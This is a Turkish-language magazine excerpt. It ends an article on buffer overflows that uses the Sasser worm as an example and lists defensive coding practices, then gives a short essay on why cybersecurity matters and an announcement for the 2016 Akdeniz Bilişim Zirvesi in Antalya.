Bu durumun güzel örneklerinden biri 2004 yılında açığa çıkmış Sasser solucanıdır. Bu solucan Windows işletim sisteminde sürekli çalışan LSASS.EXE adlı dosyada bulunan bir Buffer Overflow hatası sayesinde milyonlarca makinaya bulaşabildi. Bu LSASS.exe nin asıl görevi (Local Security Authentication Server) Windows un kullanıcı işlemlerinin güvenliğini sağlamak ve kullanıcı izinlerini düzenlemekti. Fakat Windows 2000 ve XP yüklü makinelerde bu dosyanın kullandığı bir DLL dosyasında Buffer Overflow tesbit edildi.( (LSASRV.DLL). Bu sayede virüs 445 inci porta bağlanıp, programa istediği işlemleri yaptırıyordu. Daha sonra da LSASS.EXE kapatılıyordu ve 1 dakika içinde de server a reset atılıyordu. Son olarak korunma yöntemlerini sırasıyla paylaşıyorum. 1. Verilen örnekte sctrcpy yerine strlcpy fonksiyonu kullanılsaydı, geçilen parametrenin boyutu kontrol edileceği için zafiyet oluşmayacaktı. Aşağıda bazı fonksiyonların güvenli ve güvensiz versiyonları bulunmaktadır. 2. Yazılan fonksiyonlarda girdi denetimi yapılmalı. Girdi denetiminde beyaz liste kullanılmalı ve listenin dışında kalan tüm girdiler reddedilmelidir. 3. Kod yazılırken değişken büyüklüğünü her seferinde sayıyla girmek yerine bir kereliğine bir değişkene ya da sabite atayıp sonra hep o kullanılmalı veya değişkene

yazılabilecek karakter miktarı sizeof fonksiyonuyla hesaplanmalıdır. 4. Eğer aksi gerekli değilse Assembly, C ve C++ yerine, bellek yönetimi ve bellek taşması kontrolü yapan C# ve Java gibi üst seviyeli dillerle programlama yapmak tercih edilmelidir. 5. Arabellek taşması güvenliği frameworkler kullanılmalıdır. sağlayan kütüphane ve 6. Kod derlenirken derleyicilerin sağladığı arabellek taşması tespit mekanizmaları aktif hale getirilmelidir. 7. İstemci tarafında yapılmalıdır. yapılan kontroller sunucuda da 8. ASLR(Address Space Layout Randomization) ve DEP(Data Execution Protection) gibi özellikler kullanılmalıdır. 9. Uygulamalara gereğinden fazla yetki verilmemelidir. KAYNAKLAR https://www.bilgiguvenligi.gov.tr/siniflandirilmamis/ara bellek-tasmasi-zafiyeti-buffer-overflow.html (Yavuz Atlas, TÜBİTAK BİLGEM ) http://www.enderunix.org/docs/bof.txt https://www.cyber-warrior.org/dokuman/default.asp?data_i d=4109 http://oguzkartal.net/blog/index.php/2012/06/29/buffer-o verflow-nedir-blm-1/ YAZAR : Ömer Faruk SÖNMEZ

Neden Siber Güvenlik? Aslında bu metnin başlığı Neden Siber Güvenliğe Başlamalıyım? veya Güvenlik Bu Kadar Önemli mi? gibi sorular olabilirdi. Ama yazımız hem bütün bu konuları kapsasın hem de işin biraz magazinsel boyutundan bahsedeceğinden bu başlık bizim için yeterli. Burada bu işin sadece parasal, ülkesel ve küresel boyutundan bahsedeceğiz. Önce parasal boyuta değinelim. Kendini yetiştirmiş bir beyaz şapkalı hacker* şu anda ülkemizde de dahil bir çok kurum kuruluşun güvenlik biriminde(örneğin bankalar,holdingler vs..) çalıştığı gibi google, facebook gibi küresel ölçekli firmaların sitelerinde yaptıkları pentestlerle** buldukları açıklığın boyutuna göre milyon dolarlara kadar çıkabilen paralar kazanabilmektedir. Ülkesel bazda baktığımızda ileride olacak veya olabilecek savaşların senaryoları; tek kurşun atılmadan ülkelerin

altyapısal donanımlarını, askeri silahlarını(örneğin uçakları, denizaltıları vs..), iletişim ağlarını çökertmektir. Bunun 2007 de Rusya-Estonya siber savaşı*** ile ilk örneğini bütün dünya görmüş oldu. Estonya nın bütün internet altyapısını felç eden DDos saldırıları ile ülkede bankacılık işlemleri, devlete ait internet siteleri, haber portalları gibi başlıca internet hizmetleri kullanılamaz hale gelmiştir. Saldırıların çoğunun Rusya dan geldiğinin ispatlanması üzerine ülkedeki bütün internet hatları kapatılmış buna rağmen saldırılar birkaç hafta daha devam etmiştir. Şu an itibari ile Rusya da ve Amerika da bir siber ordu, Çin in bilinen ismiyle Mavi ordusu ve Avrupa Birliğinin bu acil durumlar için bir siber güvenlik ordusu geliştirdiği bilinmektedir. Ülkemizin de böyle bir birime ihtiyacı vardır. Son olarak küresel bazda baktığımızda bir Nükleer Santrale yapılan siber saldırı sonucu doğaya verilen zararın düzeltilememesi, nükleer başlıklı bir bombanın kodlarının hackerlar tarafından ele geçirilip teröristlere satılması, kişisel mahremiyete dayalı bilgilerin çalınıp satılması, ülkelerin sırlarının ifşa edilmesi gibi uzadıkça uzayan bir liste mevcuttur. Bütün bu tehlikeler karşısında kendini yetiştirebilmiş güvenlikçiler her zaman ve şartta gerekli yerlerde lazım olacaktır.

Kaynaklar: * http://www.beyazsapkalihacker.com/2014/03/test-yayn.html ** http://blog.lifeoverip.net/2009/10/06/10-soruda-pentestpenetra syon-testleri/ *** http://securitist.blogspot.com.tr/2014/07/siber-savas-tarihind en-baz-olaylar.html Yazar: Ömer Faruk SÖNMEZ Akdeniz Bilişim Zirvesi (26 Kasım 2016 Cumartesi Antalya) Akdeniz 2016 Akdeniz in En Bilişim Zirvesi Kapsamlı Bilişim

Buluşmasına Hazır Olun! Pixel Akademi tarafından Akdeniz Bilişim Zirvesi adıyla bu yıl ikincisi gerçekleştirilecek olan büyük buluşma, bilişim dünyasının en iyilerini bir araya getiriyor.uluslararası ve ulusal düzeyde marka isimleri bir araya getirerek Akdeniz Bölgesindeki en kapsamlı bilişim ve kariyer buluşmasını gerçekleşitiriyoruz. Sizleri bu yıl yine Bilişimin Kalbinin Akdenizde attığına tanıklık etmeye davet ediyoruz. 15 Ekim 2015 de düzenlenen 1. Akdeniz Bilişim Zirvesi ne katılan 800 katılımcımızdan aldığımız güç ile büyüyerek ve gelişerek 2016 da yolumuza devam ediyoruz. Zirve hakkında sosyal medya hesaplarımızı ve twitter üzerinden #bilisiminkalbinde,#abz2016 hastaglarını takip edebilirsiniz Neden Katılmalıyım? Geçen yıl ilki düzenlenen Akdeniz Bilişim Zirvesi bu yıl başarısını ve kapsamını katlayarak daha büyük bir konsept ile karşınızda. 2016 Akdeniz Bilişim Zirvesi Sanal Gerçeklik-VR /AR, 3D Print, Siber Güvenlik, Ethical Hack ve Dijital Medya hakkında konuşacağız. Alanında ülke ve dünya çapında marka olmuş isimler yine bizlerle olacak. Akdenizinin en kapsamlı zirvesine bir çok süprize hazır olun! Bu yıl en iyi blog ve gelecek vaad eden proje ödülü de Akdeniz Bilişim Zirvesinde sahiplerini bulacak. Bu eşsiz buluşmayı kaçırmayın. Akdeniz Bilişim Zirvesi (26 Kasım 2016 Cumartesi Antalya) Etkinlik resmi web http://www.akdenizbilisimzirvesi.com/ adresi: